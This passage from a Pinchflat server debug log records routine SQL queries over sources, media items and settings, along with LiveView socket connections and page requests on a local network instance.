ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:10:25.903 [info] CONNECTED TO Phoenix.LiveView.Socket in 43µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Ay8nTiAALjkAWAk6Pw02N1MPGghYFgEvhHu-NeWUPk9MgAYtaL-9oAwB", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:10:25.904 [info] Sent 200 in 11ms 21:10:26.267 [info] CONNECTED TO Phoenix.LiveView.Socket in 54µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "HzYHOy8QGBppBkEwdTYfEgooWHRgJhoptQUXAuav95qG-zpQ8koEWqlD", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:10:26.277 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:10:26.279 [debug] QUERY OK source="sources" db=1.2ms idle=383.0ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:10:26.282 [debug] QUERY OK source="sources" db=2.1ms idle=383.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:10:26.282 [debug] Replied in 4ms 21:10:26.285 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 21:10:26.285 [debug] Replied in 184µs 21:10:28.644 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:45.274 [info] GET /app_info 21:10:45.274 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 21:10:45.275 [debug] QUERY OK source="settings" db=0.1ms idle=1217.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:45.275 [debug] QUERY OK source="settings" db=0.1ms idle=1217.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:45.275 [debug] QUERY OK source="settings" db=0.1ms idle=1217.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:45.276 [debug] QUERY OK source="settings" db=0.0ms idle=806.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:45.276 [debug] QUERY OK source="settings" db=0.0ms idle=218.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:45.277 [info] Sent 200 in 3ms 21:10:45.375 [info] CONNECTED TO Phoenix.LiveView.Socket in 41µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "NCo2AkMoFS9mbF4ALyQbEVQMVm4BMkcG_Mda-MlC6_nwwhtRfOa_6e1k", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:10:45.430 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 21:10:45.430 [debug] Replied in 230µs 21:10:47.913 [info] GET /media_profiles 21:10:47.913 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 21:10:47.914 [debug] QUERY OK source="media_profiles" db=0.4ms idle=856.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 21:10:47.915 [debug] QUERY OK source="settings" db=0.2ms idle=857.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:47.916 [debug] QUERY OK source="settings" db=0.1ms idle=858.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:47.916 [debug] QUERY OK source="settings" db=0.1ms idle=859.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:47.918 [info] Sent 200 in 4ms 21:10:48.006 [info] CONNECTED TO Phoenix.LiveView.Socket in 12µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "HjYGOjEKPjMEeAcSCgc1G3QlR3NhJjtcuQTY_oG_TK7eRKZXFfpBVqM1", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:10:48.065 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 21:10:48.065 [debug] Replied in 171µs 21:10:50.894 [info] GET / 21:10:50.894 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:10:50.895 [debug] QUERY OK source="settings" db=0.2ms idle=1837.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:50.895 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1837.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:10:50.896 [debug] QUERY OK source="sources" db=0.1ms idle=1838.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:10:50.896 [debug] QUERY OK source="media_items" db=0.1ms idle=1416.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:10:50.896 [debug] QUERY OK source="media_items" db=0.1ms idle=414.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:10:50.897 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:50.898 [debug] QUERY OK source="settings" db=0.3ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:50.898 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:10:50.900 [debug] QUERY OK source="tasks" db=0.5ms idle=3.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:10:50.901 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [19, 20] 21:10:50.902 [debug] QUERY OK source="media_items" db=0.1ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:10:50.903 [debug] QUERY OK source="media_items" db=0.5ms idle=4.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:10:50.904 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:10:50.905 [debug] QUERY OK source="media_items" db=0.1ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:10:50.905 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:10:50.905 [debug] QUERY OK source="sources" db=0.0ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:10:50.906 [info] Sent 200 in 12ms 21:10:51.051 [info] CONNECTED TO Phoenix.LiveView.Socket in 40µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CgU4TlgIH14eYEoRF3QbNnwiAFt0bjcZabj-6mf2NSzfO8tuNa7jC9At", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:10:51.077 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "downloaded"} 21:10:51.078 [debug] QUERY OK source="media_items" db=0.3ms idle=174.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:10:51.079 [debug] QUERY OK source="media_items" db=0.7ms idle=174.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:10:51.080 [debug] QUERY OK source="sources" db=0.3ms idle=174.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:10:51.080 [debug] Replied in 2ms 21:10:51.084 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "pending"} 21:10:51.085 [debug] QUERY OK source="media_items" db=0.5ms idle=179.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:10:51.087 [debug] QUERY OK source="media_items" db=1.0ms idle=179.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:10:51.087 [debug] QUERY OK source="sources" db=0.2ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", 